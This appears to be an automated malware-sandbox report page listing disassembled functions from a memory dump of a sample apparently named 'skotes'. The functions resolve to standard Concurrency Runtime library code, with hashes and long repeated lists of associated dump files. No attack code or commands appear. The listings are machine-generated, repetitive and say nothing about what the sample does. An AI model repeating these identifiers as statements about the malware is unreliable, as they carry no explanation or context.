Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
String ID:
API String ID: 3281396844-0
Opcode ID: d5651117a2f023282543d96f47d6e0a6834ab7ca952b5decf73fa8961bd55e00
Instruction ID: 60ba2dd44262535d56f44b31dc71cdc60e0e56f7b5ac96c625cfa51363459fa6
Opcode Fuzzy Hash: d5651117a2f023282543d96f47d6e0a6834ab7ca952b5decf73fa8961bd55e00
Instruction Fuzzy Hash: F1319C32E0525ADFCB24EFA4C5916EEB7B1BF44318F24406AD40277692CB316E84DB91

Function 0092182A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 009218A4
Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 009218EB

Strings

pContext, xrefs: 0092189C

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: f8668ef7600aeefa9497302d8167023bf02b6b7c0308fcbd9a9511b866cddbcb
Instruction ID: 8c18e99d3ccc784f89960932fb5bfe24b208f02b5efb0abea11a35c30bf8d1b3
Opcode Fuzzy Hash: f8668ef7600aeefa9497302d8167023bf02b6b7c0308fcbd9a9511b866cddbcb
Instruction Fuzzy Hash: 1A21D835B006359BCB14AB68F8D5BBD73A9BFE4334B04052AE511872D5CBB4AC61CB91

Function 0091AE65 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

List.LIBCONCRT ref: 0091AEEA
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0091AF0F
Concurrency::details::FreeVirtualProcessorRoot::FreeVirtualProcessorRoot.LIBCONCRT ref: 0091AF4E

Strings

pExecutionResource, xrefs: 0091AF07

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: FreeProcessorVirtual$Concurrency::details::ListRootRoot::std::invalid_argument::invalid_argument
String ID: pExecutionResource
API String ID: 1772865662-359481074
Opcode ID: 7a014f139681983f54d85e12546ccfb8a10930be1ab83efa584935ae7875f1b7
Instruction ID: 663e21add25f61410759e955c400469237e50559bea6d244eb15895a9e399914
Opcode Fuzzy Hash: 7a014f139681983f54d85e12546ccfb8a10930be1ab83efa584935ae7875f1b7
Instruction Fuzzy Hash: 002185B57422059FCB08EF94C852BADB7B5BFC8314F104029F505AB2D2DBB0AE45CB95

Function 00914EA2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00914F24
Concurrency::details::CacheLocalScheduleGroupSegment::CacheLocalScheduleGroupSegment.LIBCONCRT ref: 00914F66

Strings

ppVirtualProcessorRoots, xrefs: 00914F1C
count, xrefs: 00914EBA

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: CacheGroupLocalSchedule$Concurrency::details::SegmentSegment::std::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 2663199487-3650809737
Opcode ID: afdc60815253940e0c7a6d049b646de45eb20a005308c4f08d75d576c9920256
Instruction ID: 0a91881ed86e9ccf559996db4d805b2625ce6466ad976c477cb5aac995e33f29
Opcode Fuzzy Hash: afdc60815253940e0c7a6d049b646de45eb20a005308c4f08d75d576c9920256
Instruction Fuzzy Hash: 8D21CC38700219EFCB14EFA8C892EAE77B5BF88314F004029F5169B791DB71AA42CF51

Function 0091B975 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0091BA0E

Strings

RoInitialize, xrefs: 0091B998
RoUninitialize, xrefs: 0091B9C1
combase.dll, xrefs: 0091B983, 0091B988, 0091B99D, 0091B9C8

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
